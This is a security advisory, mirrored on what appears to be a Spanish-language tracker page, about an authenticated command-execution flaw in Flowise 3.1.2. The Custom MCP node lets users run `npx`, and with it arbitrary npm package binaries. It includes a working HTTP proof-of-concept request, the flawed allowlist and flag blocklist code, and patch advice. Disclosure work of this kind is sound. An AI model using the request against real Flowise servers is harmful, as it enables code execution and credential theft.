GHSA-VCWP-F9RQ-3887
Flowise Custom MCP npx package execution leads to authenticated server-side command execution
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.1.4 | flowise · -33 d desde divulgación | |
| Divulgación | Publicada | GHSA-VCWP-F9RQ-3887 divulgada · CVSS 9 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Flowise Authenticated Command Execution via Custom MCP `npx`
Summary
Flowise is an open-source visual platform for building LLM applications, chatflows, agents, and tool integrations. Flowise includes a Custom MCP node that lets users configure Model Context Protocol servers. In Flowise 3.1.2, the Custom MCP stdio configuration allows the command `npx` and only blocks a limited set of dangerous flags. Because `npx` can install and run arbitrary npm package binaries, an authenticated attacker can execute code on the Flowise server without using shell metacharacters, `node -e`, or `python -c`.
The issue was validated against the official Docker image running Flowise 3.1.2. A safe proof of concept used `npx shx touch <marker>` through the Custom MCP node load method. Flowise returned a normal "No Available Actions" response because `shx` is not an MCP server, but the marker file was created inside the container before MCP initialization failed.
Technical Details
Root Cause
The Custom MCP implementation parses user-supplied MCP server configuration and initializes an MCP toolkit. When the config contains a `command`, Flowise uses stdio transport and spawns the configured command.
Relevant flow:
- `POST /api/v1/node-load-method/customMCP`
- `nodesService.getSingleNodeAsyncOptions()`
- `Custom_MCP.loadMethods.listActions()`
- `Custom_MCP.getTools()`
- `validateMCPServerConfig(serverParams)`
- `new MCPToolkit(serverParams, 'stdio')`
- `StdioClientTransport` starts the configured process
In `packages/components/nodes/tools/MCP/core.ts`, Flowise allowlists several commands:
const allowedCommands = ['node', 'npx', 'python', 'python3', 'docker']It also blocks obvious dangerous flags:
npx: [
'-c',
'--call',
'--shell-auto-fallback',
'-y',
'--yes',
'--node-options'
]These checks block direct payloads such as `node -e`, `python3 -c`, and `npx -c`. However, allowing `npx` still allows arbitrary npm package binaries to execute. The validation does not restrict package names, npm package sources, or package-provided binaries.
Why This Bypasses the Intended Allowlist
The payload does not rely on shell command injection. It does not use `;`, `&&`, `$()`, backticks, `node -e`, or `python -c`. Instead, it uses the intended behavior of `npx`:
npx shx touch flowise_mcp_report_130e4352`shx` is an npm package that exposes shell-like utilities through Node.js. The specific proof of concept used the `touch` command to create a harmless marker file. An attacker could instead use an attacker-controlled npm package with a binary that executes arbitrary JavaScript during execution.
Proof of Concept
Prerequisites
- A valid authenticated Flowise session.
- Access to the Custom MCP node load method or the ability to configure Custom MCP.
- Network access to the Flowise HTTP API.
Request
POST /api/v1/node-load-method/customMCP HTTP/1.1
Host: localhost:3000
Content-Type: application/json
X-Request-From: internal
Cookie: <authenticated Flowise session>
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{\"command\":\"npx\",\"args\":[\"shx\",\"touch\",\"flowise_mcp_report_130e4352\"]}"
}
}Observed Response
Flowise returns an MCP action discovery error because `shx` is not an MCP server:
[
{
"label": "No Available Actions",
"name": "error",
"description": "No available actions, please check your API key and refresh"
}
]The error does not prevent exploitation. The process is already spawned before Flowise determines that it is not a valid MCP server.
Confirmed Side Effect
The marker file was created inside the Flowise container:
/flowise_mcp_report_130e4352Evidence screenshot is available on request.
Impact
A successful attacker can execute commands as the Flowise process inside the container. Practical impact includes:
- Reading Flowise configuration, local files, and environment variables accessible to the process.
- Accessing credentials stored on disk or exposed through the runtime environment.
- Modifying Flowise data and application files accessible to the process.
- Running network tools from the container to pivot to internal services reachable from the Flowise deployment.
- Denial of service by consuming resources, deleting accessible files, or terminating processes.
The impact may be higher in deployments where the Flowise container has broad filesystem mounts, cloud credentials, access to internal networks, or elevated Docker privileges.
Remediation
Recommended fixes:
- Remove `npx` from the Custom MCP stdio command allowlist.
- Do not permit runtime package installation or package execution from user-supplied MCP configuration.
- If stdio MCP is required, allow only administrator-installed MCP server binaries by absolute path.
- Add a strict package or binary allowlist maintained by administrators, not users.
- Require route-level authorization for `/api/v1/node-load-method/customMCP` and all Custom MCP configuration paths.
- Disable Custom MCP stdio execution for untrusted users.
- Run MCP subprocesses in a sandbox with no secrets, a read-only filesystem, restricted network access, and resource limits.
- Log and alert on every Custom MCP stdio process launch.
Suggested Patch Direction
At minimum, the allowlist should remove `npx`:
const allowedCommands = ['node', 'python', 'python3', 'docker']A safer approach is to remove all generic interpreters and package managers from user-controlled stdio MCP configs and allow only explicit administrator-managed MCP server binaries:
const allowedCommands = process.env.FLOWISE_ALLOWED_MCP_BINARIES?.split(',') ?? []The allowed entries should be absolute paths to trusted binaries, and arguments should be validated per binary.
Validation Notes
The following related paths were tested and did not produce command execution in this validation:
- Custom Function vm2 escape attempts.
- Direct `node -e` in Custom MCP.
- Direct `python3 -c` in Custom MCP.
- Dangerous Docker subcommands and flags.
The confirmed issue is specifically that `npx` package binary execution is allowed by the Custom MCP validator.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise |
Corregida | 3.1.4 | -33 d | 3.1.4 no afectada |
npmflowise-components |
Corregida | 3.1.4 | -33 d | 3.1.4 no afectada |
3.1.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vcwp-f9rq-3887Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
